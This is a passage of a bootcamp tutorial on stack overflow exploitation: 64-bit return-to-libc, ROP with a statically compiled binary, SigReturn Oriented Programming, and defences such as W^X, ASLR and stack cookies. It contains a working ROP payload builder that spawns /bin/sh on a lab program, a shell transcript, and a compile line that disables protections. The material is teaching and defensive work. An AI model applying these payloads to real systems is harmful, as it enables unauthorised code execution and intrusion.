If you inspect **sof3.rop.obj**, you will come to know that there is no such gadget. What could be the reason for this? What do we do? Is the exploit not possible?

There are 2 ways we can take. The third argument for `execve` is the `environ` pointer. I am not sure what would happen if we give an invalid address to it. Because we don't have any gadget to load the value we want, let us leave it as it is and then directly jump to `execve`. Only the first 2 arguments are as we wanted, the third is an arbitrary value. The following is `execve_libc` - a python function to generate a payload for the same.

```
def execve_libc():

    # Junk
```

```
payload = b''
payload += b'\x41' * 120

# Gadgets

# 1. Load address of "/bin/sh" into rdi
payload += pack('<Q', 0x0000000000400773)   # pop rdi ; ret
payload += pack('<Q', 0x00007ffff7b95e1a)   # "/bin/sh"'s address

# 2. Load 0 into rsi
payload += pack('<Q', 0x0000000000400771)   # pop rsi ; pop r15 ; ret
payload += pack('<Q', 0)                    # Goes into rsi
payload += pack('<Q', 0xdeadbeefdeadbeef)   # Goes into r15 (Dummy)

# 3. Load 0 into rdx.

# 4.Jump to execve
payload += pack('<Q', 0x00007ffff7ac6c00)   # execve's libc address
```

Generate the **payload.txt** and run **sof3** against the that input payload.

```
seccon-bootcamp/rop$ cat payload - | ./sof3
Before echo()
Enter a string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ls
args64 args64.c exploit.py payload.txt sof3 sof3.c sof3.rop.obj
whoami
agautham
```

And we got a shell. But note that this might fail. We do not know clearly what the kernel does with the third argument. Looks like the dummy value - which is an address is not being dereferenced. We can confirm what is going on with **gdb**.

One another way is to find a gadget in **libc** itself. We use its functions (which is simply code), why can't we use its gadgets? Note that **libc** is huge and will have large number of gadgets. We can use it to make the exploit more reliable. Please refer to `execve_libc` python function of the script.

7.2 ROP

In the above subsection, we had a glimpse at how gadgets can be used to construct a 64-bit Return-to-Libc exploit. Imagine a case when you can't use any library for some reason. You can't use its functions, you can't use its gadgets. What do you do?

That is where ROP comes in. If the executable binary is large enough (has sufficient code), we can do the exact same thing we did in Return-to-Libc without libc. We can execute `exit(1)`, `execve()` or anything for that matter.

We saw that **sof3** doesn't have enough code in it - we didn't get an essential gadget. Fot the sake of experimentation, let us compile **sof3.c** statically - which will make the executable binary large with lots of code. Idea is, in a realistic application like a server or an OS etc., they are quite large and good amount of code is available.

Compiling statically,

```
seccon-bootcamp/rop$ gcc sof3.c -o sof3_static -fno-stack-protector -no-pie --static
```

Again, we have only 2 goals: First, execute the `exit(1)` system call and then the `execve("/bin/sh", NULL, NULL)` system call. All this with only gadgets and no library functions or even gadgets from these libaries.

7.2.1 exit(1)

To execute `exit(1)` system call, the following needs to be done.

1. Load `exit` system call number into `rax`.
2. Load `1` into register `rdi`.
3. Get a gadget which has `syscall`.
4. Finally chain them on the stack and run it.

Note that we have lost the liberty to jump to libc. `syscall` is our savior here.

First, run ROPgadget tool on `sof3_static` binary and harvest all the gadgets. Then search for required gadgets. Refer to `exit()` python function of `rop/exploit.py` script to get the actual exploit.

7.2.2 execve()

Start with the gadgets.

1. Load `execve` system call number into `rax`.
2. Load `/bin/sh`'s address into `rdi`, `0` into `rsi` and `0` into `rdx`.
3. Get a gadget which has `syscall`.
4. Chain them and run.

Refer to `execve()` python function of `rop/exploit.py` script to get the actual exploit.

8. SigReturn Oriented Programming

The SROP attack exploits a vulnerability present in Linux signal handling.

The following is the outline of this section.

1. Understand what is a signal, with an example. Example programs are in **srop/signal1.c** and **srop/signal2.c**.
    1. **signal1.c** to understand simple working of the signal.
    2. **signal2.c** to understand signal handlers.
2. Get into its internals. Understand process and signal contexts.
    1. Understand how the signal-frame (a structure with all the metadata of the process context) is stored in the runtime-stack.
    2. How context is switched from process context to signal context (one user context to another).
    3. Once signal context is done running, what mechanism is used to go back to process context.
3. Identify the vulnerability - the stateless nature of signal-frames.
    1. Kernel creates the signal-frames and places them on the runtime stack.
    2. The same kernel cleanups the signal-frame when the signal-context requests for it - using the `sigreturn` system call.
    3. Assert the fact that the kernel will cleanup signal-frames which are maliciously created by anyone other than kernel itself.
4. Method to exploit this vulnerability. Example program present in **srop/srop.c**. This is a simple program with SOF.
    1. Create a fake signal-frame by using the SOF.
    2. Show that we could load any arbitrary values into the registers.

3. Show how any system call we want can be executed.
4. Finally show the execution of `exit()` and `execve()` system call to terminate the program and get a shell respectively.

Refer to **srop/** directory for all examples. Refer to **srop/exploit.py** for an example of exploit.

9. Security Mechanisms

There are a number of security mechanisms administered to protect our software from these attacks. Most of these mechanisms are present at kernel-level and compiler-level.

Academically speaking, there are literally hundreds of security mechanisms. But we will be talking about the once which are widely deployed across operating systems.

1. W^X or DEP(Data Execution Prevention)
    1. Compile the program **loop.c** in 2 ways: Once normally and again with `-zexecstack`.
    2. Run them both and checkout their stack permissions on **/proc/PID/maps** file.
2. ASLR(Address Space Layout Randomization)
    1. Run the **loop** program a couple times and check the virtual addresses.
    2. Now, enable ASLR and run the program again. The adresses should change everytime.
3. StackGuard / Stack Cookies
    1. Compile the **sof/sof.c** program with and without cookies. (Use **-fno-stack-protector** to disable cookies).
    2. Inspect how the cookie is placed into the stack-frame and how it is compared back.
    3. Show what happens when thew cookie is corrupted.
4. CFI(Control-Flow Integrity)
    1. Explain the concept.
    2. clang is required for the demo.

Let us go over each of the protection mechanisms in detail.

9.1 W^X

The primary reason why Shellcode injection is possible is because of the presence of a Stack Overflow vulnerability. But that is not sufficient. What is actually required is the presence of an executable stack - the stack - which mostly has data and function pointers actually needs to be marked executable for Shellcode injection to work.

- Let us take a look at the **sof.c** and check its program headers: It actually requests for an executable stack.

Best way to prevent such code injection attacks is to make data stores like stack, heap only readable and writable - and not executable. On the same lines, make the executable segments only readable and not writable. This solves 2 problems: 1. One cannot "inject" unknown/malicious code into the stack/heap or any writable segment and try to execute that code from there. 2. One cannot write machine code into code segments - because they are already executable and letting others to write into it is hazardous.

- Practicals:
    - Show Shellcode injection working on executable stack.
    - Show shellcode injection failing in W^X enabled stack - also show the **maps** file for clarity.

9.2 ASLR

ASLR - short for Address Space Layout Randomization.

There is something more fundamental about these attacks - each of them are control-flow hijacking attacks. Each of them try to "jump" to some address where attacker code is present. And each of these attacks requires the attacker to jump to a well-known, specific address. - Take shellcode injection - the attacker has to jump to an exact buffer address. - Take ret2libc - the attacker has to jump to specific libc addresses - where helpful functions are present. - Take ROP, one has to previously know the addresses of each of these gadgets and then jump to them.

So, the fundamental aspect here is that the attacker is required to known an address beforehand. What if we randomize it? what if they don't get any hardcoded address?

- Enable ASLR and try every attack - show it is failing.
- Show **maps** file and see how the addresses changes. Didn't find an apt image. Maybe we can show the **maps** file itself.

1. What kind of stack frame?
    1. A generic one.
    2. Specific to sof.c, sof1.c .....
    3.

10. Conclusion

With that, we have come to the end. In this paper, we have described the basics of Control-Flow Hijacking and Stack Overflow vulnerability. We have seen 4 effective and famous ways of exploiting a SOF. We also skimmed over the security techniques which we will be discussed during the bootcamp.

Thank you.